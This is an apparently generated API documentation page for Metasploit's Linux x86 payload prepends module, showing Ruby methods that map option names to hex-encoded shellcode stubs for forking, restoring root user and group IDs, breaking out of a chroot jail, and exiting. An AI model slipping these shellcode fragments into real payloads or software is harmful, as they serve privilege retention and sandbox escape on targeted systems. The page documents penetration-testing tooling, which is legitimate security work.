Module: Msf::Payload::Linux::X86::Prepends
Overview
Instance Method Summary
collapse
Methods included from Prepends
#apply_prepends, #initialize, #register_prepend_options
Instance Method Details
permalink
#appends_map ⇒ Object
[View source] [
View on GitHub]
110
111
112
113
114
115
116
117
118
|
# File 'lib/msf/core/payload/linux/x86/prepends.rb', line 110
def appends_map
{
'AppendExit' => "\x31\xdb" + "\x6a\x01" + "\x58" + "\xcd\x80" }
end
|
permalink
#appends_order ⇒ Object
[View source] [
View on GitHub]
10
11
12
|
# File 'lib/msf/core/payload/linux/x86/prepends.rb', line 10
def appends_order
%w[AppendExit]
end
|
permalink
#prepends_map ⇒ Object
[View source] [
View on GitHub]
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
# File 'lib/msf/core/payload/linux/x86/prepends.rb', line 14
def prepends_map
{
'PrependFork' => "\x6a\x02" + "\x58" + "\xcd\x80" + "\x85\xc0" + "\x74\x06" + "\x31\xc0" + "\xb0\x01" + "\xcd\x80" + "\xb0\x42" + "\xcd\x80" + "\x6a\x02" + "\x58" + "\xcd\x80" + "\x85\xc0" + "\x75\xed",
'PrependSetresuid' => "\x31\xc9" + "\x31\xdb" + "\xf7\xe3" + "\xb0\xa4" + "\xcd\x80",
'PrependSetreuid' => "\x31\xc9" + "\x31\xdb" + "\x6a\x46" + "\x58" + "\xcd\x80",
'PrependSetuid' => "\x31\xdb" + "\x6a\x17" + "\x58" + "\xcd\x80",
'PrependSetresgid' => "\x31\xc9" + "\x31\xdb" + "\xf7\xe3" + "\xb0\xaa" + "\xcd\x80",
'PrependSetregid' => "\x31\xc9" + "\x31\xdb" + "\x6a\x47" + "\x58" + "\xcd\x80",
'PrependSetgid' => "\x31\xdb" + "\x6a\x2e" + "\x58" + "\xcd\x80",
'PrependChrootBreak' => "\x31\xc9" + "\x31\xdb" + "\x6a\x46" + "\x58" + "\xcd\x80" + "\x6a\x3d" + "\x89\xe3" + "\x6a\x27" + "\x58" + "\xcd\x80" + "\x89\xd9" + "\x58" + "\xcd\x80" + "\x31\xc0" + "\x50" + "\x66\x68\x2e\x2e" + "\x89\xe3" + "\x6a\x3d" + "\x59" + "\xb0\x0c" + "\xcd\x80" + "\xe2\xfa" + "\x6a\x3d" + "\x89\xd9" + "\x58" + "\xcd\x80" }
end
|
permalink
#prepends_order ⇒ Object
[View source] [
View on GitHub]
6
7
8
|
# File 'lib/msf/core/payload/linux/x86/prepends.rb', line 6
def prepends_order
%w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid PrependChrootBreak]
end
|